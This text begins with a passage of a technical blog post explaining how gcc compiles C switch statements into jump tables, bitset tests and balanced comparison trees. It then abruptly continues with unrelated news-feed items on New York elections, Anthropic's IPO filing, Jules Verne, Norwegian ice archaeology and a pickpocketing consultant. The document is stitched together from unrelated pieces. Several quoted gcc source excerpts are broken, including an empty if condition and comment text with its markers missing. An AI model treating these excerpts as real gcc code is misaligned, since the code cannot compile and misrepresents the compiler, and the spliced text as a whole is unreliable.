Our intuition suggests that the more sparse the values, the less advantageous the jump table conversion is.

Through experimentation, we find that gcc considers the threshold to be around eight jump table entries per case label.

In other words, the following function compiles to a jump table:

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);

int compact_7(int x, int val) {
    switch (x) {
        case 0:
            return f0(val);
        case 7:
            return f1(val);
        case 14:
            return f2(val);
        case 21:
            return f3(val);
        case 34:
            return f4(val);
        default:
            return 0;
    }
    return 0;
}
compact_7:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 34
	ja	.L2
	jmp	[QWORD PTR .L4[0+rax*8]]
.L4:
	.quad	.L8
	.quad	.L2
	; ...
	.quad	.L2
	.quad	.L7
	.quad	.L2
	; ...
	.quad	.L2
	.quad	.L6
	.quad	.L2
	; ...
	.quad	.L2
	.quad	.L5
	.quad	.L2
	; ...
	.quad	.L2
	.quad	.L3
.L2:
	xor	eax, eax
	ret
.L8:
	jmp	f0
.L7:
	jmp	f1
.L6:
	jmp	f2
.L5:
	jmp	f3
.L3:
	jmp	f4

But this other function is expanded as a tree of comparisons:

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);

int sparse_8(int x, int val) {
    switch (x) {
        case 0:
            return f0(val);
        case 8:
            return f1(val);
        case 16:
            return f2(val);
        case 24:
            return f3(val);
        case 40:
            return f4(val);
        default:
            return 0;
    }
    return 0;
}
sparse_8:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 16
	je	.L2
	jle	.L10
	cmp	eax, 24
	je	.L7
	cmp	eax, 40
	jne	.L1
	jmp	f4
.L10:
	test	eax, eax
	je	.L4
	cmp	eax, 8
	jne	.L1
	jmp	f1
.L1:
	xor	eax, eax
	ret
.L4:
	jmp	f0
.L7:
	jmp	f3
.L2:
	jmp	f2

Here's the comparison tree visualized for clarity:

G ret 0 ret 0 call f0 call f0 call f1 call f1 call f2 call f2 cmp eax, 24 cmp eax, 24 call f3 call f3 call f4 call f4 cmp eax, 16 cmp eax, 16 cmp eax, 16->call f2 je test eax, eax test eax, eax cmp eax, 16->test eax, eax jle cmp eax, 16->cmp eax, 24 test eax, eax->call f0 je cmp eax, 8 cmp eax, 8 test eax, eax->cmp eax, 8 cmp eax, 24->call f3 je cmp eax, 40 cmp eax, 40 cmp eax, 24->cmp eax, 40 cmp eax, 40->ret 0 jne cmp eax, 40->call f4 cmp eax, 8->ret 0 jne cmp eax, 8->call f1

A couple of observations:

  1. We've only tried equally spaced values so far. Can the compiler identify transformations that are profitable on a subset of all cases?
  2. So far each case led to a different result. What if we had different cases with the same result?
  3. The switch in sparse_8 could be simplified by dividing x by eight before the jump. Interestingly, gcc doesn't find this simplification.

Let's dig into 1. and 2.

Outliers

Altering our first example by including an outlier value shows that the compiler is able to recognize dense subsets of cases.

int f0(int val);
int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);
int f5(int val);

int outlier(int x, int val) {
    switch (x) {
        case 1:
            return f0(val);
        case 2:
            return f1(val);
        case 3:
            return f2(val);
        case 4:
            return f3(val);
        case 5:
            return f4(val);
        case 100:
            return f5(val);
        default:
            return 0;
    }
    return 0;
}
outlier:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 5
	jg	.L2
	test	eax, eax
	jle	.L1
	cmp	eax, 5
	ja	.L4
	jmp	[QWORD PTR .L6[0+rax*8]]
.L6:
	.quad	.L4
	.quad	.L4
	.quad	.L9
	.quad	.L8
	.quad	.L7
	.quad	.L5
.L2:
	cmp	eax, 100
	jne	.L1
	jmp	f5
.L7:
	jmp	f3
.L5:
	jmp	f4
.L9:
	jmp	f1
.L8:
	jmp	f2
.L4:
	jmp	f0
.L1:
	xor	eax, eax
	ret

The compiler emits a branch for case 100, but emits a jump table for case 1 through 5.

Contiguous

In our examples so far, each case statement lead to a different code block. Let's test what happens when multiple case labels invoke the same function.

int f1(int val);
int f2(int val);
int f3(int val);
int f4(int val);
int f5(int val);

int blocks_2(int x, int val) {
    switch (x) {
        case 0:  case 1:  case 2:  case 3:
            return f1(val);
        case 21:  ...  case 24:
            return f2(val);
        case 42:  ...  case 45:
            return f3(val);
        case 63:  ...  case 66:
            return f4(val);
        case 84:  ...  case 87:
            return f5(val);
        default:
            return 0;
    }
    return 0;
}
blocks_2:
	mov	eax, edi
	mov	edi, esi
	cmp	eax, 45
	jg	.L2
	cmp	eax, 41
	jg	.L3
	cmp	eax, 3
	jg	.L4
	test	eax, eax
	js	.L1
	jmp	f1
.L2:
	cmp	eax, 66
	jg	.L8
	cmp	eax, 62
	jle	.L1
	jmp	f4
.L4:
	sub	eax, 21
	cmp	eax, 3
	ja	.L1
	jmp	f2
.L8:
	sub	eax, 84
	cmp	eax, 3
	ja	.L1
	jmp	f5
.L3:
	jmp	f3
.L1:
	xor	eax, eax
	ret

We have 20 case labels, with values between 0 and 87. The compiler could lower this switch to a jump table with 88 entries. Our hypothesis for the heuristic is that a jump table conversion is profitable when its size is smaller than 8 * num_case_labels . Since 88 < 20 * 8 , the conversion should be profitable in this case, however gcc opted to lower the switch to a sequence of comparisons.

To better understand why, let's examine a specific block of case labels.

int blocks_2(int x, int val) {
    switch (x) {
                case 42:  case 43:  case 44:  
        case 45:
            return f3(val);
            }
    return 0;
}
blocks_2:
	mov	eax, edi ; Move `val` to $eax
	mov	edi, esi
	cmp	eax, 45
	; If val <= 45, do _not_ jump
	jg	.L2
	cmp	eax, 41
	; If val >= 42, jump to L3
	jg	.L3
	; ...
.L2:
; ...
.L3:
        ; We reach L3 only if 42 <= val <= 45
        jmp	f3        ; Call f3(val)
; ...

The compiler realizes that the cases are contiguous and can be implemented with two comparisons instead of four. If the input of the jump table heuristic is the number of comparisons instead of case labels , things work out:

We have a total of 10 comparisons. Since 10 * 8 < 88 , our revised heuristic suggests that a jump table transformation is unprofitable.

Non-contiguous

Let us try a non-contiguous case.

int f1(int val);

int bittest(int x, int val) {
    switch (x) {
        case '0':  case '2':  case '4':  
        case '5':  case '7':  case '9':  
        case 'A':  case 'C':  case 'E':
            return f1(x);
        default:
            return 0;
    }
    return 0;
}
bittest:
	lea	eax, [rdi-48]
	cmp	eax, 21
	ja	.L1
	mov	edx, 2753205  ; ???
	bt	rdx, rax
	jc	.L7
.L1:
	xor	eax, eax
	ret
.L7:
	jmp	f1

The compiler emits non-intuitive machine code. Why is there no cmp nor jump tables? Where does the constant 2753205 come from?

An hint comes from the instruction bt . According to the Intel docs , bt :

Selects the bit in a bit string (specified with the first operand, called the bit base) at the bit-position designated by the bit offset (specified by the second operand) and stores the value of the bit in the CF flag.

If we examine the binary representation of 2753205 , we find that it is in fact a bitset. The bits that are set to one correspond to the ASCII values of the case labels, each value being reduced by 48.

Simd ops chars 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G Cases ... edx 1 0 1 0 1 1 0 1 0 1 0 0 0 0 0 0 0 1 0 1 0 1 mov edx, 2753205 edx:p0--chars:p0 edx:p2--chars:p2 edx:p4--chars:p4 edx:p5--chars:p5 edx:p7--chars:p7 edx:p9--chars:p9 edx:p17--chars:p17 edx:p19--chars:p19 edx:p21--chars:p21

Implementation

We've encountered several distinct lowering strategies employed by gcc. For a more in-depth understanding, we can delve into the compiler's source code.

The compiler pass that responsible for lowering switch statements is the (appropriately named) pass_lower_switch , which in turn calls analyze_switch_statement .

Since gcc source can be daunting to follow, I'll provide a step-by-step commented version below. Following this, I will break down each section to explain its functionality.

bool switch_decision_tree::analyze_switch_statement () 
{
    unsigned l = gimple_switch_num_labels (m_switch);
    auto_vec<cluster *> clusters;
     ...

    compute_cases_per_edge ();

Some preamble code. m_switch points to a gimple object. Gimple is the internal representation used by gcc . Through this, we extract the overall count of cases and the individual counts of cases for each outgoing edge.

We also allocate a vector that will record the lowering strategy chosen for each case label.

    for (unsigned i = 1; i < l; i++)
    {
        tree elt = gimple_switch_label (m_switch, i);
	// ...
        tree low = CASE_LOW (elt);
        tree high = CASE_HIGH (elt);

        profile_probability p
            = case_edge->probability.apply_scale (1, (intptr_t) (case_edge->aux));
        clusters.quick_push (new simple_cluster (low, high, elt, case_edge->dest, p));
        // ...
    }

More setup code. We notice that gimple has a concept of high and low value for each label. That is, contiguous case labels have already joined together at this stage.

For each case label, we allocate a simple_cluster . This cluster serves as a record, capturing the range of values associated with the label, the relevant output edge, and the likelihood of this cluster being chosen. This probability comes from profile-guided optimization. By default it is uniform among case labels.

    // ...
    vec<cluster *> output = bit_test_cluster::find_bit_tests (clusters);

We transform the vector of clusters we have created. The name bit_test_cluster hints to the bitset lowering strategy we saw before.

    /* Find jump table clusters.  */
    vec<cluster *> output2;
    auto_vec<cluster *> tmp;
    // ...
    
    for (unsigned i = 0; i < output.length (); i++) {
        cluster *c = output[i];
        if (c->get_type () != SIMPLE_CASE) {
            if (!tmp.is_empty ()) {
                                tmp.truncate (0);
            }
            output2.safe_push (c); 
        }
        else
            tmp.safe_push (c);
    }

This section allocates a vector for the transformed cases and a scratch vector. Any case that wasn't altered during the bitset transformation process is gathered in this scratch vector. These cases are then processed and cleared whenever we come across an optimized cluster.

Essentially, in this section we are looking for sequences of case labels that couldn't be converted into bitset clusters.

                vec<cluster *> n = jump_table_cluster::find_jump_tables (tmp);
                output2.safe_splice (n);
                n.release ();

We attempt to convert these consecutive labels into a jump table and add the outcome to the output.

    /* We still can have a temporary vector to test.  */
    if (!tmp.is_empty ()) {
        vec<cluster *> n = jump_table_cluster::find_jump_tables (tmp);
        output2.safe_splice (n);
        n.release ();
    }

This is a coda for the loop above.

    // ...

    bool expanded = try_switch_expansion (output2);
    release_clusters(output2);
    return expanded;
}

Whatever is left goes through another pass, which turns the switch statement into a decision tree. The bitsets and jump table are leaves of the decision tree.

Bitsets

Let's dig further into bit_test_cluster::find_bit_tests . The high level structure of the code is as follow.

Initially, we aim to find the optimal method to bundle all clusters into bitsets. Optimality, in this context, refers to minimizing the number of bitsets used. We do so using dynamic programming.

Subsequently, we iterate over the bitsets and apply a profitability heuristic. If the bitsets meet this heuristic, we emit a bit_test_cluster ; otherwise, we keep the original simple_cluster s.

vec<cluster *> bit_test_cluster::find_bit_tests (vec<cluster *> &clusters)
{
     ...

    unsigned l = clusters.length ();
    auto_vec<min_cluster_item> min;
     ...

    min.quick_push (min_cluster_item (0, 0, 0));
    for (unsigned i = 1; i <= l; i++)
    {
        
        min.quick_push (min_cluster_item (INT_MAX, INT_MAX, INT_MAX));

        for (unsigned j = 0; j < i; j++)
        {
            if (min[j].m_count + 1 < min[i].m_count
                    && can_be_handled (clusters, j, i - 1))
                min[i] = min_cluster_item (min[j].m_count + 1, j, INT_MAX);
        }

        gcc_checking_assert (min[i].m_count != INT_MAX);
    }

For the dynamic programming, we'll use a vector of min_cluster_item structures. Each min_cluster_item has three components:

  • The first records how many bitsets do we need to represent the first i case labels, where i is the index in the vector.
  • The second records the start of the last bitset.
  • The third is unused.

The dynamic programming is as follows. We want to find the minimum number of bitsets to represent the first i case labels.

The base case is straightforward, a single case label can be represented by a single bitset.

Suppose we have already have found the optimal number of bitsets for the first j case label, for all . We define to be the optimal number of splits for the first i elements. This means we already computed , and are now seeking .

If the range of case labels can be represented as a bitset cluster, it must be true that

Conversely, assume we have the optimal assignment for the first i labels. If the last bitset starts at label , this assignment is also optimal when restricted to . Were this not the case, we could improve the assignment on as well.

Therefore, it must be that:

These conditions are exactly what the if statement in the code above checks for.

The can_be_handled function controls whether a range of case labels can be turned into a bitset test. It tests two criteria:

  • The combined range of all the case labels must be smaller than the width of a register. On contemporary systems, the combined range should be less than 64.
  • The case labels must have at most 3 unique outgoing edges.

If there is more than one edge, we emit a cascade of bit tests.

    vec<cluster *> output;
    // ...
    
    /* Find and build the clusters.  */
    for (unsigned end = l;;)
    {
        int start = min[end].m_start;

        if (is_beneficial (clusters, start, end - 1))
        {
            bool entire = start == 0 && end == clusters.length ();
            output.safe_push (new bit_test_cluster (clusters, start, end - 1, entire));
        }
        else
            for (int i = end - 1; i >= start; i--)
                output.safe_push (clusters[i]);

        end = start;

        if (start <= 0)
            break;
    }

    output.reverse ();
    return output;
}

Now we convert only bitsets that satisfy the is_beneficial test. In the code count represents the number of case labels handled by the cluster, while uniq denotes the number of distinct outgoing edges.

bool bit_test_cluster::is_beneficial (unsigned count, unsigned uniq)
{
    return (((uniq == 1 && count >= 3)
              || (uniq == 2 && count >= 5)
              || (uniq == 3 && count >= 6)));
}

Jump tables

The logic for jump table conversion mirrors the one used for bit test conversion. It leverages dynamic programming to identify "clusters" that can be profitably converted to a jump table.

Let's delve into the code.

vec<cluster *> jump_table_cluster::find_jump_tables (vec<cluster *> &clusters)
{
    if (!is_enabled ())
        return clusters.copy ();

    unsigned l = clusters.length ();
    auto_vec<min_cluster_item> min;
    min.reserve (l + 1);

We start by preallocating a vector of min_cluster_item . We'll use this vector to keep track of the best jump table assignments for consecutive case clusters.

    min.quick_push (min_cluster_item (0, 0, 0));

We also push the base case for dynamic programming. This corresponds to using a single jump table for the whole switch .

Let's focus now on the main loop.

    unsigned HOST_WIDE_INT max_ratio = /* Used in the main heuristic. See next snippet. */;
                
    for (unsigned i = 1; i <= l; i++)
    {
        // NOTE(xoranth): Base case
        min.quick_push (min_cluster_item (INT_MAX, INT_MAX, INT_MAX));
        
        /* Pre-calculate number of comparisons for the clusters.  */
        HOST_WIDE_INT comparison_count = 0;
        for (unsigned k = 0; k <= i - 1; k++)
        {
            simple_cluster *sc = static_cast<simple_cluster *> (clusters[k]);
             NOTE(xoranth): get_comparison_count is 2 for contiguous case 
             labels, and 1 otherwise
            comparison_count += sc->get_comparison_count ();
        }

        for (unsigned j = 0; j < i; j++)
        {
            unsigned HOST_WIDE_INT s = min[j].m_non_jt_cases;
            if (i - j < case_values_threshold ())
                s += i - j;
            
             Prefer clusters with smaller number of numbers covered.  
            if () 
            {
                                min[i] = min_cluster_item (min[j].m_count + 1, j,
					   s );
            }

            simple_cluster *sc = static_cast<simple_cluster *> (clusters[j]);
            comparison_count -= sc->get_comparison_count ();
        }
    }

The dynamic programming loop mirrors the one we used for bitsets. We want to find the minimum number of jump tables to represent the first i case labels.

We iterate over splits at the j -th case label, for j < i . During each iteration we track the best scoring split. The special case j == 0 represents a single jump table for the entire switch statement.

Inside this inner loop we also keep track of:

  1. How many distinct jump tables we would need to lower the switch.
  2. The start of the last jump table of the decomposition.
  3. How many cases cannot be handled by a jump table. In the code, this is the accumulator s .

Point 1. and 2. are analogous to the bitset lowering pass, while 3. is new and specific to jump tables.

Namely, there is some overhead to dispatching to a jump table, due to the indirect jump and the need to check bounds. Therefore gcc requires a minimum amount of case labels to generate a jump table.

If a split would generate a jump table that is too small, the size of the jump table is added to an accumulator s , which is used as a tie-breaker between different split candidates.

To compute the scoring, we need the comparison count between j -th and the i -th case label. We compute it summing up the number of comparisons for all labels, and decreasing the count as we progress in the inner loop.

We also need the number of unhandled case labels. We determine it comparing the size of the jump table to the result of the case_values_threshold function. This function is architecture dependent and takes into account the presence of switch-case specific instructions, but on modern x64 and Arm64 machines, it defaults to 5.

unsigned int default_case_values_threshold (void) {
    return (targetm.have_casesi () ? 4 : 5);
}

Let's now focus on the main heuristic, starting with how max_ratio is computed. I've reproduced below the main loop, omitting lines unrelated to the main heuristic.

We've seen in the examples section that gcc uses the ratio between jump table entries and comparisons as a metric for the lowering the heuristic. The code below shows that distinct ratios are used when optimizing for speed (flags -O[123|fast] ) or size (flag -Os ). Specifically, a ratio of 8 is used when optimizing for speed, while a ratio of 2 is used when optimizing for size.

    unsigned HOST_WIDE_INT max_ratio
        = (optimize_insn_for_size_p ()
                ? param_jump_table_max_growth_ratio_for_size    // This is `2`
                : param_jump_table_max_growth_ratio_for_speed); // This is `8`

    for (unsigned i = 1; i <= l; i++)
    {
        /* Set minimal # of clusters with i-th item to infinite.  */
        min.quick_push (min_cluster_item (INT_MAX, INT_MAX, INT_MAX));

        // NOTE(xoranth): Compute comparison count, see previous snippet

        for (unsigned j = 0; j < i; j++)
        {
             NOTE(xoranth): Compute unhandled cases, see previous snippet
            
             Prefer clusters with smaller number of numbers covered.  
            if ((min[j].m_count + 1 < min[i].m_count)
               || (min[j].m_count + 1 == min[i].m_count && s < min[i].m_non_jt_cases)
               && can_be_handled (clusters, j, i - 1, max_ratio, comparison_count)) 
            {
                min[i] = min_cluster_item (min[j].m_count + 1, j,
					   s  );
            }

            // NOTE(xoranth): Update comparison count, see previous snippet
        }
    }

Now onto the main loop. Given two splits, we prefer the one that results in fewer jump tables being emitted. Or, if they would result in the same number of jump tables, we prefer the one that handles the most case labels. We also ignore splits that would result in unprofitable jump tables, where profitability is checked by the can_be_handled function.

The can_be_handled condition, checks for overflow and compares the ratio of case labels to jump table entries:

bool jump_table_cluster::can_be_handled (const vec<cluster *> &clusters,
                                         unsigned start, unsigned end,
                                         unsigned HOST_WIDE_INT max_ratio,
                                         unsigned HOST_WIDE_INT comparison_count)
{
     If the switch is relatively small such that the cost of one
       indirect jump on the target are higher than the cost of a
       decision tree, go with the decision tree.

       [...]

       For algorithm correctness, jump table for a single case must return
       true.  We bail out in is_beneficial if it's called just for
       a single case.  
    if (start == end)
        return true;

    unsigned HOST_WIDE_INT range = get_range (clusters[start]->get_low (), clusters[end]->get_high ());
     Check for overflow.  
     ...

    return lhs <= max_ratio * comparison_count;
}

The coda of the function also mirrors the one for bitset clusters. It iterates over all jump tables in reverse order, and prunes the ones that fail the is_beneficial check.

    vec<cluster *> output;
    output.create (4);

    /* Find and build the clusters.  */
    for (unsigned int end = l;;)
    {
        int start = min[end].m_start;

        /* Do not allow clusters with small number of cases.  */
        if (is_beneficial (clusters, start, end - 1))
            output.safe_push (new jump_table_cluster (clusters, start, end - 1));
        else
            for (int i = end - 1; i >= start; i--)
                output.safe_push (clusters[i]);
        end = start;

        if (start <= 0) break;
    }

    output.reverse ();
    return output;
}

The is_beneficial check for jump tables aims to prune small jump tables. It compares the number of case labels to case_values_threshold .

bool jump_table_cluster::is_beneficial (const vec<cluster *> &, unsigned start, unsigned end) {
    if (start == end) return false;
    return end - start + 1 >= case_values_threshold ();
}

Binary tree

If gcc cannot emit a bitset cluster or a jump table, it falls back to a binary tree of comparison.

In emitting the tree, it takes into account the probability of each case label cluster. The probability can be obtained via profile-guided optimization, or with the __builtin_expect_with_probability builtin.

The code is pretty straightforward.

void switch_decision_tree::balance_case_nodes (case_tree_node **head, case_tree_node *parent) 
{
    case_tree_node *np = *head;
    if (np) {
        int i = 0;
        case_tree_node **npp, *left;
        profile_probability prob = profile_probability::never ();

Sum probability of all case labels.

        /* Count the number of entries on branch.  Also count the ranges.  */
        while (np) {
            i++;
            prob += np->m_c->m_prob;
            np = np->m_right;
        }

Split the case label list such that both halves have equal probability.

        if (i > 2) {
            npp = head;
            left = *npp;
	    // NOTE(xoranth): this divides prob by 2.
            profile_probability pivot_prob = prob.apply_scale (1, 2);

            while (1) {
                 Skip nodes while their probability does not reach that amount.  
                prob -= (*npp)->m_c->m_prob;
                if ((prob.initialized_p () && prob < pivot_prob) || ! (*npp)->m_right)
                    break;
                npp = &(*npp)->m_right;
            }

            np = *npp;
            *npp = 0;
            *head = np;
            np->m_parent = parent;
            np->m_left = left == np ? NULL : left;

Recurse in both halves to build the binary tree.

            balance_case_nodes (&np->m_left, np);
            balance_case_nodes (&np->m_right, np);
            np->m_c->m_subtree_prob = np->m_c->m_prob;
            if (np->m_left)
                np->m_c->m_subtree_prob += np->m_left->m_c->m_subtree_prob;
            if (np->m_right)
                np->m_c->m_subtree_prob += np->m_right->m_c->m_subtree_prob;
        } else {
	    // [...] Base case
        }
    }
}

Conclusion

We've seen the heuristics and lowering strategies gcc employs when compiling switch statements, including:

  • Compressing multiple case labels into a bitset.
  • Transforming the switch statement into a jump table.
  • Transforming the switch statement into a binary decision tree.

For anyone interested in delving deeper, I'd suggest examining the gcc source code , and reading this paper .

Finally, I want to thank B.X.V., C.P., and V.P. for their feedback when writing this post

The New York 2026 Midterms Explained ft. Michael Lange

hellgate
hellgatenyc.com
2026-10-30 16:00:13
It's time. Michael Lange previews the 2026 general election. It's authoritative. It's knowing. And you're going to love it....
Original Article
The New York 2026 Midterms Explained ft. Michael Lange
Photo montage by Katie Way (Hell Gate)

Podcast

It's time. Michael Lange previews the 2026 general election. It's authoritative. It's knowing. And you're going to love it.

Scott's Picks:

Holly and Max are joined by left-whisperer and election-knower Michael Lange (The Narrative Wars) to preview Tuesday's general election.

We discuss how much Kathy Hochul owes Zohran Mamdani, whether Dems have a shot in the North Country, and why some local races are way more interesting than you might think. Also, we name a bunch of towns and businesses in the Adirondacks to prove that we can.

Has this episode gotten you UNBELIEVABLY excited for Tuesday's election? Well great news—the Hell Gate Podcast will go LIVE on Tuesday night starting at 9 p.m.. Tune in !

The New York 2026 Midterms Explained ft. Michael Lange | The Hell Gate Podcast

The latest from New York City's reader-funded news outlet, owned and run by journalists.

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I read Anthropic's 92-page risk factor document, so you don't have to – video explainer

Guardian
www.theguardian.com
2026-10-30 15:57:13
Anthropic, the creator of Claude, filed to go public on the US stock market on 26 October. The company's filing statement contains a 92-page risk factor document in which it acknowledges the dangers that AI poses to society and human beings, and factors that could negatively affect Anthropic's busin...
Original Article

Anthropic, the creator of Claude, filed to go public on the US stock market on 26 October. The company's filing statement contains a 92-page risk factor document in which it acknowledges the dangers that AI poses to society and human beings, and factors that could negatively affect Anthropic's business. Johana Bhuiyan, senior tech reporter for the Guardian, breaks down the document and explains why Anthropic's IPO could be a real test to the AI boom

Jules Verne's Lost Novel

Hacker News
blue-continuum.com
2026-10-30 15:55:10
Comments...
Original Article

By John Steele

Published October 28, 2026

Read 10 minutes

Blue Continuum

Paris at sunset. Adobe Stock.

In 1863, Jules Verne did something he would almost never do again. He looked not toward an undiscovered island, the bottom of the sea, the interior of the Earth or the far side of the Moon, but directly into the future. He imagined Paris almost a century ahead, in the year 1960, and asked what sort of civilization the nineteenth century might become if its faith in science, machinery, commerce and efficiency were allowed to run to its logical conclusion. The result was Paris in the Twentieth Century , a book so unlike the Verne we came to know that his publisher, Pierre-Jules Hetzel, refused to publish it. Hetzel thought the prophecy implausible and the tone too bleak. Verne put the manuscript away. It remained unpublished for 131 years, until it was recovered from a family safe and finally appeared in France in 1994. We commonly describe Verne as a great…

John Steele is the Publisher and Executive Editor of Blue Continuum.

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The oldest ice disappears and the Stone Age emerges from it

Hacker News
www.sciencenorway.no
2026-10-30 15:51:33
Comments...
Original Article

'We have been at the edge of the ice. We have seen it happening. And we are witnesses to a rapidly changing archaeological landscape,' write the glacial archaeologists. Finds from the Viking Age are becoming scarce, while 6,000-year-old arrowheads are now emerging from the melting ice.

A 5,000-year-old arrowhead made of slate, found together with parts of its shaft right at the edge of the ice. Domesticated reindeer can be seen on the ice patch in the background.

For exactly 20 years, archaeologists working with Secrets of the Ice have been recovering and preserving artefacts emerging from the ice in the mountains of Innlandet, eastern Norway.

Until now, most of the objects have been up to 2,000 years old. Many date from the Viking Age.

But the ancient ice is now beginning to melt.

And within this oldest ice lie the oldest finds: large quantities of arrow shafts and arrowheads from the Bronze Age and the Stone Age.

Image of a hand holding an arrowhead made of bone.

A bone arrowhead found together with parts of its shaft right beside the ice. Approximately 5,000 years old.

Close-up of an arrowhead made from a freshwater mussel shell. It is black and white and has begun to split apart.

An arrowhead made from a freshwater mussel shell, dating from the Bronze Age, approximately 3,600 years old. The arrowhead is fragile and has begun to split apart.

Here comes the Stone Age

One of the oldest finds from this year's first field expedition is an arrow with an arrowhead and shaft made of slate.

By comparing it with previously discovered arrows, archaeologists estimate that it is between 5,000 and 6,000 years old.

The fact that arrows are emerging from the melting ice is not surprising. Over the 20 years they have been working here, the archaeologists have found extensive evidence of reindeer and reindeer hunting . They have also found clothing, shoes , dead packhorses, and a pair of skis .

The preservation conditions in the ice have meant that organic material, such as wood, leather, and textiles, have also survived.

“This year, we found 48 prehistoric arrows. That's a lot,” Espen Finstad, who leads Secrets of the Ice, tells Science Norway.

He explains that, with these latest discoveries, more than 100 arrowheads and arrow shafts have now been recovered from a single ice patch over the years.

The oldest arrowheads are made from slate, freshwater mussel shells, and bone. More recent arrowheads are made from iron and are 'only' between 1,000 and 1,500 years old.

An archaeologist lies on her stomach on the ice to photograph an arrow shaft lying in the ice.

Archaeologist Åsa Rommetveit Celius from Innlandet County Municipality documents the discovery of a 1,000-year-old arrow shaft.

Kjetil Loftsgarden holds a complete arrow approximately one metre long.

Archaeologist Kjetil Loftsgarden from the Museum of Cultural History in Oslo holds a complete 1,800-year-old arrow with a bone arrowhead and a wooden shaft.

A brutal backdrop

But this year’s fieldwork carries an added sense of gravity.

Finstad explains that the work of recovering archaeological artefacts from the ice has always carried a certain duality.

“It’s fun going around looking for things. It’s exciting, and finding something is just really cool," he says.

Yet behind the excitement lies the reality of climate change. Finstad points to the recent landslide in Nepal and the glacier collapse in Jotunheimen.

“We have always acknowledged this contradiction and the reality behind our work. But this is the first time it has truly affected us on an emotional level,” Finstad says, adding:

“This year, there was a much deeper sense of seriousness and sadness. Only patches of ice remain where we once had large ice patches. It's brutal. And this year, that reality struck us more forcefully than ever before."

Image of the ten participants in the fieldwork. The mountains can be seen in the background.

Participants in the field from the Glacier Archaeology Programme in Innlandet, Secrets of the Ice.

Tents in the mountains, several of them red and some brown. The sun is rising, and the sky is blue with some cloud cover. Fresh snow covers the ground.

The glacial archaeologists’ tent camp in Jotunheimen at sunrise. Fresh snow on the ground.

Finstad and his colleagues estimate that most of the ice patches containing archaeological artefacts will have disappeared within the next 20 years.

“There has been ice here for 6,000–7,000 years. Nature has been warning us and sending signals for many years. But now it's giving up. Now it is simply going to melt,” says the glacial archaeologist.

'For thousands of years, ancient ice has safely preserved unique objects from the past. Now that ice is disappearing,' the archaeologists write in a press release about the finds. 'We have been at the edge of the ice. We have seen it happening. And we are witnesses to a rapidly changing archaeological landscape.'

Dramatic mountain landscape. An ice patch on the right, a small lake on the left. An archaeologist walks down the mountainside.

The lower section of one of the ice patches at Hanklefonne. It was once large. Now only a small, steep section remains. 'The ice is disappearing much faster than we expected. The landscape has changed dramatically, and large areas that were recently covered by ice are now ice-free,' the glacial archaeologists write in a press release.

More fieldwork ahead

Finstad and his colleagues are planning more fieldwork in the coming weeks, weather permitting.

So far, they have secured finds in the Kvittingskjølen mountain area of Jotunheimen, specifically at Langfonne, Storefonne, and Hanklefonne.

Several of the finds are already on display at the Norwegian Mountain Centre in Lom, just a few days after they were discovered.

———

Translated by Alette Bjordal Gjellesvik

Read the Norwegian version of this article on forskning.no

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The Housewives of NYC Are Real. The Dread Is Existential

hellgate
hellgatenyc.com
2026-10-30 15:45:31
As Season 16 of "The Real Housewives of New York City" marches on, so does Time Itself....
Original Article
The Housewives of NYC Are Real. The Dread Is Existential
(Cast photo by Bravo Media)

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A Pickpocket's Guide to New York

Hacker News
www.newyorker.com
2026-10-30 15:26:39
Comments...
Original Article

John Turturro slipped into Madison Square Park and greeted a man sitting inconspicuously in a black coat and a fedora. In the new film “The Only Living Pickpocket in New York,” directed by Noah Segan, Turturro plays an old-school thief named Harry—a holdover from the era of subway graffiti, lost in the brave new world of cryptocurrency—who provokes the Mob when he unwittingly lifts a flash drive from the wrong guy. The man on the park bench was his pickpocketing consultant, Apollo Robbins. Known as “the gentleman thief,” Robbins spent years as a Vegas entertainer, relieving willing spectators of their wallets, watches, and rings (and then giving them back). As this magazine reported, in 2012 , he once cleaned out the pockets of Jimmy Carter ’s Secret Service detail: itinerary, badges, keys to the motorcade.

“His hands—he’s like a concert pianist!” Turturro said. Robbins had tutored him at the movie’s production office, where they practiced techniques on a stunt guy and devised Harry’s steals. (“Like a fight choreographer,” Robbins said. “But I was a theft choreographer.”) They considered having Robbins act as a hand double, but Turturro wanted to bring off the grabs himself. Among other things, he had learned from Robbins that a pickpocket’s gait changes after a steal. “You just want to disappear,” Turturro said, demonstrating how to blend in with the crowd.

A woman approached Turturro to tell him that her son used to play basketball with his. After she left, Robbins revealed that he’d cased her: two bags, one slung around her back, the other under her arm. “So probably her valuables would be there,” he said. “Usually, you’d just cut the bag and drop the contents out.” He took a leather wallet from his coat. “They used to have a term called ‘peeking the poke,’ ” he went on. “ ‘Poke’ was another name for wallet, so peeking the poke was: Where is this going to be? If it’s in the inside pocket, that’s called ‘the pit,’ or ‘uptown.’ ”

“I’m going uptown!” Turturro said, relishing the lingo. The actor had never been pickpocketed himself, but when he worked as a bartender in the seventies he’d been robbed at knifepoint. The ethics of pickpocketing intrigued him; unlike mugging, it’s usually nonviolent and requires finesse. “There’s a balletic aspect to it,” he said. Turturro found pickpocketing a bit like acting, insofar as he is stealing from life to create a character. “You stitch it together,” he continued. “But you are a thief in the night sometimes.”

Robbins showed off a move called “reefing the kick”: using your fingers to walk an item up to the top of someone’s pocket from the outside. The resurgence of baggy jeans, he said, has been good for pickpockets. “There’s a fine line between fondling and pickpocketing,” he cautioned.

“Too bad that line’s not in the movie,” Turturro said. A young red-headed guy came up and introduced himself as Zane Roth, a sometime magician. “Can we rob you?” Turturro asked. Robbins had Roth hold out his wrist, and showed how he would pop off the strap of his watch. After a few minutes, he handed Roth his wallet, having filched it from his front pocket during the conversation. Impressive enough. Then Robbins asked for Turturro’s wallet, from which he produced Roth’s student I.D.

Growing up in Springfield, Missouri, Robbins had two older half brothers who stole for a living, before moving on to bigger crimes. He pulled off his first notable feat at age eleven, pocketing some cigarettes at a convenience store. The manager confronted him, and he slipped them into the man’s apron. (Robbins’s father, a preacher, later tried to exorcise him.) At fourteen, he discovered magic. “I started seeking mentors in both worlds”—crime and magic—“and created a hybrid out of those two,” he said.

